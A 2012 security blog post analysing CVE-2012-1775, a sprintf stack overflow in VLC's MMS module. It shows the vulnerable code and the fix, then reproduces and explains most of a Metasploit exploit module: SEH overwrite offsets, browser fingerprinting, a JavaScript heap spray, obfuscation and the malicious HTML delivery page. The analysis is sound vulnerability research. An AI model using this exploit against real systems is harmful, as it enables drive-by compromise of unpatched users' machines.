xorl %eax, %eax

CVE-2012-1775: VLC MMS Support Stack Overflow

leave a comment »

As we can see in the official security advisory here, this vulnerability was reported by Florent Hochwelker (also known as TaPiOn) and it affects all versions of VLC media player up to 2.0.1 release.
The bug is very straightforward and we can find it in the MMS module available in modules/access/mms/mmstu.c. Here is the exact code snippet.

/****************************************************************************
 * MMSOpen : Open a connection with the server over mmst or mmsu
 ****************************************************************************/
static int MMSOpen( access_t  *p_access, vlc_url_t *p_url, int  i_proto )
{
    access_sys_t *p_sys = p_access->p_sys;
    int           b_udp = ( i_proto == MMS_PROTO_UDP ) ? 1 : 0;

    var_buffer_t buffer;
    char         tmp[4096];
    uint16_t     *p;
    int          i_server_version;
    int          i_tool_version;
    int          i_update_player_url;
  ...
    /* *** send command 1 : connection request *** */
    var_buffer_initwrite( &buffer, 0 );
    var_buffer_add16( &buffer, 0x001c );
    var_buffer_add16( &buffer, 0x0003 );
    sprintf( tmp,
             "NSPlayer/7.0.0.1956; {"GUID_FMT"}; Host: %s",
             GUID_PRINT( p_sys->guid ),
             p_url->psz_host );
    var_buffer_addUTF16( &buffer, tmp );

    mms_CommandSend( p_access,
                     0x01,          /* connexion request */
                     0x00000000,    /* flags, FIXME */
                     0x0004000b,    /* ???? */
                     buffer.p_data,
                     buffer.i_data );

    if( mms_CommandRead( p_access, 0x01, 0 ) < 0 )
    {
  ...
    }
  ...
    /* *** should make an 18 command to make data timing *** */

    /* *** send command 2 : transport protocol selection *** */
    var_buffer_reinitwrite( &buffer, 0 );
    var_buffer_add32( &buffer, 0x00000000 );
    var_buffer_add32( &buffer, 0x000a0000 );
    var_buffer_add32( &buffer, 0x00000002 );
    if( b_udp )
    {
        sprintf( tmp,
                 "\\\\%s\\UDP\\%d",
                 p_sys->sz_bind_addr,
                 7000 ); // FIXME
    }
    else
    {
        sprintf( tmp, "\\\\192.168.0.1\\TCP\\1242"  );
    }
    var_buffer_addUTF16( &buffer, tmp );
    var_buffer_add16( &buffer, '0' );

    mms_CommandSend( p_access,
                     0x02,          /* connexion request */
                     0x00000000,    /* flags, FIXME */
                     0xffffffff,    /* ???? */
                     buffer.p_data,
                     buffer.i_data );
  ...
    msg_Info( p_access, "connection successful" );

    return VLC_SUCCESS;
}

It is quite obvious to notice the three vulnerable sprintf(3) calls using ‘tmp’ as the destination which is a statically allocated buffer with size of 4096 Bytes. The fix was to first replace the statically allocated buffer with a pointer:

     var_buffer_t buffer;
-    char         tmp[4096];
+    char         *tmp;
     uint16_t     *p;

And then use asprintf(3) instead of the insecure sprintf(3) to dynamically allocate the appropriate space for each string.

     var_buffer_add16( &buffer, 0x0003 );
-    sprintf( tmp,
+    if( asprintf( &tmp,
              "NSPlayer/7.0.0.1956; {"GUID_FMT"}; Host: %s",
              GUID_PRINT( p_sys->guid ),
-             p_url->psz_host );
+             p_url->psz_host ) < 0 )
+    {
+        var_buffer_free( &buffer );
+        net_Close( p_sys->i_handle_tcp );
+        return VLC_ENOMEM;
+    }
+
     var_buffer_addUTF16( &buffer, tmp );
+    free( tmp );

And the other two as well:

     if( b_udp )
     {
-        sprintf( tmp,
-                 "\\\\%s\\UDP\\%d",
-                 p_sys->sz_bind_addr,
-                 7000 ); // FIXME
+        if( asprintf( &tmp,
+                    "\\\\%s\\UDP\\%d",
+                    p_sys->sz_bind_addr,
+                    7000 ) < 0) // FIXME
+        {
+            var_buffer_free( &buffer );
+            MMSClose( p_access );
+            return VLC_EGENERIC;
+        }
     }
     else
     {
-        sprintf( tmp, "\\\\192.168.0.1\\TCP\\1242"  );
+        if( asprintf( &tmp, "\\\\192.168.0.1\\TCP\\1242" ) < 0 )
+        {
+            var_buffer_free( &buffer );
+            MMSClose( p_access );
+            return VLC_EGENERIC;
+        }
     }
     var_buffer_addUTF16( &buffer, tmp );
     var_buffer_add16( &buffer, '0' );
+    free( tmp );

Metasploit project released an exploit module for this vulnerability written by sinn3r and juan vazquez. So, we will see how vlc_mms_bof.rb exploits the bug.

First we have the usual Metasploit initialization code…

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = NormalRanking

	include Msf::Exploit::Remote::HttpServer::HTML

	def initialize(info={})
		super(update_info(info,
			'Name'        => "VLC MMS Stream Handling Buffer Overflow",
			'Description' => %q{
					This module exploits a buffer overflow in VLC media player VLC media player prior
				to 2.0.0. The vulnerability is due to a dangerous use of sprintf which can result
				in a stack buffer overflow when handling a malicious MMS URI.

				This module uses the browser as attack vector. A specially crafted MMS URI is
				used to trigger the overflow and get flow control through SEH overwrite. Control
				is transferred to code located in the heap through a standard heap spray.

				The module only targets IE6 and IE7 because no DEP/ASLR bypass has been provided.
			},
			'License'     => MSF_LICENSE,
			'Author'      =>
				[
					'Florent Hochwelker', # aka TaPiOn, Vulnerability discovery
					'sinn3r', # Metasploit module
					'juan vazquez' # Metasploit module
				],
			'References' =>
				[
					['CVE', '2012-1775'],
					['OSVDB', '80188'],
					['URL', 'http://www.videolan.org/security/sa1201.html'],
					# Fix commit diff
					['URL', 'http://git.videolan.org/?p=vlc/vlc-2.0.git;a=commit;h=11a95cce96fffdbaba1be6034d7b42721667821c']
				],

Since it exploits sprintf(3) it cannot use NULL Byte so this is configured as a bad character and the payload space is set to 1000. Also, you can see the default options for exit function and the initial auto-run script.

			'Payload' =>
				{
					'BadChars'        => "\x00",
					'Space'           => 1000,
				},
			'DefaultOptions' =>
				{
					'EXITFUNC' => "process",
					'InitialAutoRunScript' => 'migrate -f',
				},

Next, we see the two targets defined which are Internet Explorer 6 and 7 for Microsoft Windows XP SP3 platform.

			'Platform' => 'win',
			'Targets'  =>
				[
					# Tested with VLC 2.0.0
					[ 'Automatic', {} ],
					[
						'Internet Explorer 6 on XP SP3',
						{
							'Rop' => false,
							# Space needed to overflow and generate an exception
							# which allows to get control through SEH overwrite
							'Offset' => 5488,
							'OffsetShell' => '0x800 - code.length',
							'Blocks' => '1550',
							'Padding' => '0'
						}
					],
					[
						'Internet Explorer 7 on XP SP3',
						{
							'Rop' => false,
							# Space needed to overflow and generate an exception
							# which allows to get control through SEH overwrite
							'Offset' => 5488,
							'OffsetShell' => '0x800 - code.length',
							'Blocks' => '1600',
							'Padding' => '1'
						}
					]
				],
			'DisclosureDate' => "Mar 15 2012",
			'DefaultTarget' => 0))

Finally, it will also utilize the JavaScript obfuscation support.

		register_options(
			[
				OptBool.new('OBFUSCATE', [false, 'Enable JavaScript obfuscation'])
			], self.class)
	end

Now, moving to the actual code there is the detection code that based on the received User-Agent string it will identify the client’s browser.

	def get_target(cli, request)
		#Default target
		my_target = target

		vprint_status("User-Agent: #{request.headers['User-Agent']}")

		if target.name == 'Automatic'
			agent = request.headers['User-Agent']
			if agent =~ /NT 5\.1/ and agent =~ /MSIE 6\.0/
				#Windows XP + IE 6
				my_target = targets[1]
			elsif agent =~ /NT 5\.1/ and agent =~ /MSIE 7\.0/
				#Windows XP + 7.0
				my_target = targets[2]
			else
				#If we don't recognize the client, we don't fire the exploit
				my_target = nil
			end
		end

		return my_target
	end

Next is the routine that will exploit the vulnerability. Firstly it uses the above function to identify the target:

	def on_request_uri(cli, request)
		#Pick the right target
		my_target = get_target(cli, request)
		if my_target.nil?
			vprint_error("Target not supported")
			send_not_found(cli)
			return
		end

		vprint_status("URL: #{request.uri.to_s}")

And then based on the target’s architecture it will initialize the equivalent variable as well as the NOP and payload encoding ones.

		#ARCH used by the victim machine
		arch = Rex::Arch.endian(my_target.arch)
		nops = Rex::Text.to_unescape("\x0c\x0c\x0c\x0c", arch)
		code = Rex::Text.to_unescape(payload.encoded, arch)

Then constructs the JavaScript heap-spray payload:

		# Spray overwrites 0x30303030 with our payload
		spray = <<-JS
		var heap_obj = new heapLib.ie(0x20000);
		var code = unescape("#{code}");
		var nops = unescape("#{nops}");

		while (nops.length < 0x80000) nops += nops;
		var offset = nops.substring(0, #{my_target['OffsetShell']});
		var shellcode = offset + code + nops.substring(0, 0x800-code.length-offset.length);

		while (shellcode.length < 0x40000) shellcode += shellcode;
		var block = shellcode.substring(0, (0x80000-6)/2);

		heap_obj.gc();
		for (var i=0; i < #{my_target['Blocks']}; i++) {
			heap_obj.alloc(block);
		}
		JS

		#Use heaplib
		js_spray = heaplib(spray)

Obfuscates it:

		#obfuscate on demand
		if datastore['OBFUSCATE']
			js_spray = ::Rex::Exploitation::JSObfu.new(js_spray)
			js_spray.obfuscate
		end

And finally set the appropriate IP addresses:

		src_ip = Rex::Socket.source_address.split('.')
		hex_ip = src_ip.map { |h| [h.to_i].pack('C*')[0].unpack('H*')[0] }.join
		# Try to maximize success on IE7 platform:
		# If first octet of IP address is minor than 16 pad with zero
		# even when heap spray could be not successful.
		# Else pad following target heap spray criteria.
		if ((hex_ip.to_i(16) >> 24) < 16)
			padding_char = '0'
		else
			padding_char = my_target['Padding']
		end

		hex_ip = "0x#{padding_char * my_target['Offset']}#{hex_ip}"

The last step is the actual HTML document including the malicious JavaScript payload as part of an MMS object.

		html = <<-EOS
		<html>
    <head>
    <script>
			#{js_spray}
    </script>
    </head>
		<body>
		
			
			
			
			
#TAG-OPENING                    pluginspage="http://www.videolan.org"
				type="application/x-vlc-plugin" progid="VideoLAN.VLCPlugin.2"
				width="320"
				height="240"
				autoplay="yes"
				loop="no"
				target="mms://#{hex_ip}:#{datastore['SRVPORT']}"
				name="vlc">
#TAG-CLOSING
		


		</body>
		</html>
		EOS

		#Remove extra tabs in HTML
		html = html.gsub(/^\t\t/, "")

		print_status("Sending malicious page")
		send_response( cli, html, {'Content-Type' => 'text/html'} )
	end
en

Due to wordpress sensitivity to EMBED tags, I have renamed them to TAG-OPENING and TAG-CLOSING

Written by xorl

May 16, 2012 at 18:38

Posted in bugs

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out / Change )

Twitter picture

You are commenting using your Twitter account. Log Out / Change )

Facebook photo

You are commenting using your Facebook account. Log Out / Change )

Google+ photo

You are commenting using your Google+ account. Log Out / Change )

Connecting to %s